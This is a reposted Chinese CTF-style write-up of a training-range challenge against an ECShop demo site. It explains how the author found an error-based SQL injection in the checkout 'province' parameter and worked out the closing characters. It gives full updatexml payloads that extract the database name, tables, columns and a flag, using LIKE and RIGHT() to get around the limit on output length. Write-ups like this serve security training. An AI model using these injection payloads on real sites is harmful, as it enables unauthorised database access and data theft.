ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

2022-02-06 20:02:45  阅读:428  来源: 互联网

标签:02 right 安鸾 0x7e flag sql 靶场 concat 注入


题目

网站URL ECSHOP演示站 - Powered by ECShop

目录

 

笔记

 过程

进入sql注入页面

问题 判断闭合符

sql注入下的模糊查询

 right 语法爆字段值


 

笔记

对现在我来说难度其实不大,但题目考察的一些细节要求比较高。

首先把我遇到的问题 一 一 列出。(在下面解题的过程会一 一 解决)

  1. 题目虽然是叫宽字符注入,但实际考察的是报错注入 (挂羊头卖狗肉)
  2. 这个网站很大,注入点很难找(我也是看一位师傅的write up)
  3. 自己没有用到 除 ' '  之外的闭合符,而本题出现了另一个闭合符 () (缺少经验)
  4. 找到注入点后,由于要在burpsuite中点击 follow redirection 追踪到重定向页面才能看到报错回显 导致无法用sqlmap 跑 所以才出现后面的问题
  5. 查询到数据库名后 ,由于每次报错注入的回显内容长度有限制,导致不能一次性爆出所有表,只能通过 修改 limit 后面的参数慢慢爆
  6. 没有学会在 mysql 下 sql注入的模糊查询语法
  7. 爆出字段名为flag 后,由于回显内容长度的限制,还有小部分 flag值没有爆出来,最后学会用 right 和 left 语法

 过程

进入sql注入页面

注册→登陆→点击一个商品手机→加入购物车→点击结算中心→修改收货人信息→用BP开始抓包→点击配送至这个地址

把抓的包放入repeater 模块

province 为注入点

 

 

问题 判断闭合符

SQL注入原理及如何判断闭合符_大大大蜜蜂的博客-CSDN博客_sql注入怎么判断闭合方式

在参数后面输入一个单引号'  发包后,点击 刚出现的 follow direaction 按钮进入重定向界面

 

sql注入下的模糊查询

还是需要将自己的mysql知识 尽量的运用到实战上,不能光想着 复制别人单一的sql注入语句,不自己独立思考一定是走不远的

https://www.cnblogs.com/-lin-x-c-/p/10375412.html
 

由上方链接我们得知语法 and +(表名,字段名)like = '%关键字%'

下面会把他加到我们的报错注入语句中

爆数据库

2')%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)#

爆表名

2')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3d"ecshop"%20limit%200,1),0x7e),1)#

 

爆出3个无关表名 还有一个不完整。。。。。。

昨天头铁 通过修改limit 的值一直去重复,40多次才爆出来

下面利用模糊查询

 

2') and updatexml(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema="ecshop" and table_name like '%flag%'),0x7e),1)#

 模糊查询爆字段名

2') and updatexml(1,concat(0x7e,(select column_name  from information_schema.columns where table_name="ecs_flag" and column_name like '%flag%'),0x7e),1)#

 right 语法爆字段值

MySQL RIGHT()用法及代码示例 - 纯净天空

由于我们直接用普通语句查询,我们得到的flag是不完整的,而这里又不能通过limit 语法一个一个字节来爆,但是mysql 提供了一个 right 函数,可以从右往左爆字符串,这样就能把我们缺失的一小部分flag的值爆出。

 正常方法

2') and updatexml(1,concat(0x7e,(select flag from ecs_flag ),0x7e),1)#

结果

 right 语法

2')  and updatexml(1,concat(0x7e,(select(group_concat((right(flag,20)))) from (ecs_flag) ),0x7e),1)#

 

 

去除重复字段即可得到flag。

参考链接

SQL注入:宽字符注入_zh的博客-CSDN博客

SQL注入原理及如何判断闭合符_大大大蜜蜂的博客-CSDN博客_sql注入怎么判断闭合方式

mysql中模糊查询的四种用法: - 林小某lin - 博客园

MySQL RIGHT()用法及代码示例 - 纯净天空

天天学这么累打把游戏不过分把

 

标签:02,right,安鸾,0x7e,flag,sql,靶场,concat,注入
来源: https://blog.csdn.net/AAAAAAAAAAAA66/article/details/122800595

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有